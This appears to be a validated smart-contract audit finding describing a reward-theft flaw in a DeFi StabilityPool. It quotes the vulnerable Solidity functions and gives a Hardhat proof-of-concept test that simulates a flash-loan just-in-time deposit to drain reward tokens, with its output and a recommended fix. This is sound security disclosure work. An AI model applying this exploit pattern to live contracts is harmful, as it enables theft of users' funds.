Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Attacker can steal rewards from StabilityPool

Summary

StabilityPool contract allows users to deposit RToken to benefit rewards. However, the current reward mechanism is flaw, which can allow an attacker to steal reward tokens from contract.

Vulnerability Details

The function StabilityPool::deposit() allows users to deposit RToken and receive DEToken with rate 1:1. It also allows users to withdraw their RToken by burning DEToken at rate 1:1 and also claim rewards. The amount of reward is computed as (totalRewards * userDeposit) / totalDeposits with totalDeposits is the current total supply of DEToken and totalRewards is the current reward balance of Stability Pool contract.

Here, the vulnerability exists because the user reward amount is proportional to the ratio userDeposit / totalDeposits which is the user's share of DEToken supply. This allows an attack vector in which the attacker can flashloan large amount of reserve token -> deposit into LendingPool to mint large amount of RToken -> deposit RToken into Stability Pool to increase the ratio userDeposit / totalDeposits -> withdraw RToken, including rewards -> repay flashloan.

function withdraw(uint256 deCRVUSDAmount) external nonReentrant whenNotPaused validAmount(deCRVUSDAmount) {
_update();
if (deToken.balanceOf(msg.sender) < deCRVUSDAmount) revert InsufficientBalance();
uint256 rcrvUSDAmount = calculateRcrvUSDAmount(deCRVUSDAmount);
@> uint256 raacRewards = calculateRaacRewards(msg.sender);
if (userDeposits[msg.sender] < rcrvUSDAmount) revert InsufficientBalance();
userDeposits[msg.sender] -= rcrvUSDAmount;
if (userDeposits[msg.sender] == 0) {
delete userDeposits[msg.sender];
}
deToken.burn(msg.sender, deCRVUSDAmount);
rToken.safeTransfer(msg.sender, rcrvUSDAmount);
if (raacRewards > 0) {
@> raacToken.safeTransfer(msg.sender, raacRewards);
}
emit Withdraw(msg.sender, rcrvUSDAmount, deCRVUSDAmount, raacRewards);
}
function calculateRaacRewards(address user) public view returns (uint256) {
@> uint256 userDeposit = userDeposits[user];
@> uint256 totalDeposits = deToken.totalSupply();
uint256 totalRewards = raacToken.balanceOf(address(this));
if (totalDeposits < 1e6) return 0;
@> return (totalRewards * userDeposit) / totalDeposits;
}

PoC

describe("Deposits", function () {
///....
it.only("stealing rewards", async function(){
// @audit POC stealing rewards
// a normal user deposits to increase total deposit
const depositAmount = ethers.parseEther("50");
await stabilityPool.connect(user2).deposit(depositAmount);
let user3RewardBalanceBefore = await raacToken.balanceOf(user3.address);
// attacker flashloan reserve assets
let flashloanAmount = ethers.parseEther("5000")
await crvusd.mint(user3.address, flashloanAmount);
// deposit reserve asset to mint RToken
await crvusd.connect(user3).approve(lendingPool.target, flashloanAmount);
await lendingPool.connect(user3).deposit(flashloanAmount);
// deposit RToken
await rToken.connect(user3).approve(stabilityPool.target, flashloanAmount)
await stabilityPool.connect(user3).deposit(flashloanAmount);
// withdraw instantly
await stabilityPool.connect(user3).withdraw(flashloanAmount)
// withdraw from LendingPool
await lendingPool.connect(user3).withdraw(flashloanAmount);
let user3RewardBalanceAfter = await raacToken.balanceOf(user3.address);
// benefit
let rewardsTaken = user3RewardBalanceAfter - user3RewardBalanceBefore;
console.log(`rewards stolen\t ${rewardsTaken}`)
// repay flashloan here
})

Run the test and console shows:

StabilityPool
Core Functionality
Deposits
rewards stolen 4311056105610561041
✔ stealing rewards (40ms)
1 passing (2s)

Impact

  • Stealing of reward tokens

Tools Used

Manual

Recommendations

Consider using time-weighted rewarding mechanism

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::calculateRaacRewards is vulnerable to just in time deposits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.